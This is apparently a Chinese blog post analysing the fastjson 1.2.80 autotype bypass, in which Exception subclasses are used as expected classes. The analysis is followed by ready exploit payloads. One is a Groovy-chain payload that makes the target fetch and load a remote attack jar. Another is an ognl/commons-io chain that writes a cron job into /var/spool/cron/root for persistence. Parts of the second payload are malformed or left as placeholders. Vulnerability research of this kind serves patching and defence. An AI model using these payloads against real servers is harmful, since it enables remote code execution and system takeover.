fastjson 1.2.80 漏洞浅析及利用payload

发布时间 2023-08-02 19:49:29作者: PYkiller

0x01 说明

在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception 期望类的子类中,绕过checkAuto。

0x02 简析

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

直接DefaultJSONParser.class搜checkAuto下断点

image-20230731210147425

步入到com/alibaba/fastjson/parser/ParserConfig.java

image-20230801143800548

使用TypeUtils.getClassFromMapping从缓存中读取java.lang.Exception

image-20230731220017287

跳到了checkAuto

image-20230801143913556

往下走,获取ObjectDeserializer对象,因为是异常类,获取到的是ThrowableDeserializer反序列化器

image-20230801144010902

继续步入,跳转到com/alibaba/fastjson/parser/ParserConfig.java

image-20230801144609065

匹配条件image-20230801160412905

此时clazz为null

image-20230801160614089

匹配下个

image-20230801160724299步入com/alibaba/fastjson/util/TypeUtils.java

Mappings.put()将类添加到map中

但是cache不为真

image-20230801161151268

匹配下个

image-20230801161245810

此时expectClass

image-20230801161437063

expectClass非空使用addMapping将clazz类加入缓存

image-20230801170509298

image-20230801145908735

每次处理一层json都会putDeserializer,可以向deserializers添加新数据。

image-20230801172351369

第三次处理会加上org.codehaus.groovy.control.ProcessingUnit

image-20230801173833837

0x03 利用

1、groovy链

需要存在groovy链,这里测试版本使用如下版本

        <dependency>
            <groupId>org.codehaus.groovy</groupId>
            <artifactId>groovy-all</artifactId>
            <version>3.0.12</version>
        </dependency>

jar包用大哥的

https://github.com/Lonely-night/fastjsonVul

将CompilationFailedException作为子类,java.lang.Exception作为期望类可绕过检测

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

发利用包

{
  "@type":"org.codehaus.groovy.control.ProcessingUnit",
  "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
  "config":{
    "@type": "org.codehaus.groovy.control.CompilerConfiguration",
    "classpathList":["http://127.0.0.1:8081/attack-1.jar"]
  },
  "gcl":null,
  "destDir": "/tmp"
}

image-20230801174215684

2、ognl & io & aspectj & commons-codec

payload可通过大哥写的生成

https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson26_ognl_io_write_4.java

这里payload为往/var/spool/cron/root目录写入计划任务,注意只能往存在目录下写文件

1.2.73-1.2.80 ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
写入复杂文件结构,文件需要大于8kb
{
	"su14": {
		"@type": "java.lang.Exception",
		"@type": "ognl.OgnlException"
	},
	"su15": {
		"@type": "java.lang.Class",
		"val": {
			"@type": "com.alibaba.fastjson.JSONObject",
			{
				"@type": "java.lang.String"
				"@type": "ognl.OgnlException",
				"_evaluation": ""
			}
		},
		"su16": {
			"@type": "ognl.Evaluation",
			"node": {
				"@type": "ognl.ASTMethod",
				"p": {
					"@type": "ognl.OgnlParser",
					"stream": {
  "@type":"org.apache.commons.io.input.BOMInputStream",
  "delegate":{
    "@type":"org.apache.commons.io.input.TeeInputStream",
    "input":{
      "@type": "org.apache.commons.codec.binary.Base64InputStream",
      "in":{
        "@type":"org.apache.commons.io.input.CharSequenceInputStream",
        "charset":"utf-8",
        "bufferSize": 1024,
        "s":{"@type":"java.lang.String""文件baes64"
      },
      "doEncode":false,
      "lineLength":1024,
      "lineSeparator":"5ZWKCg==",
      "decodingPolicy":0
    },
    "branch":{
      "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
      "targetPath":"/var/spool/cron/root"
    },
    "closeBranch":true
  },
  "include":true,
  "boms":[{
                  "@type": "org.apache.commons.io.ByteOrderMark",
                  "charsetName": "UTF-8",
                  "bytes":[85, 48, 104...文件bytes]
                }],
}
				}
			}
		},
		"su17": {
			"$ref": "$.su16.node.p.stream"
		},
		"su18": {
			"$ref": "$.su17.bOM.bytes"
		}
	}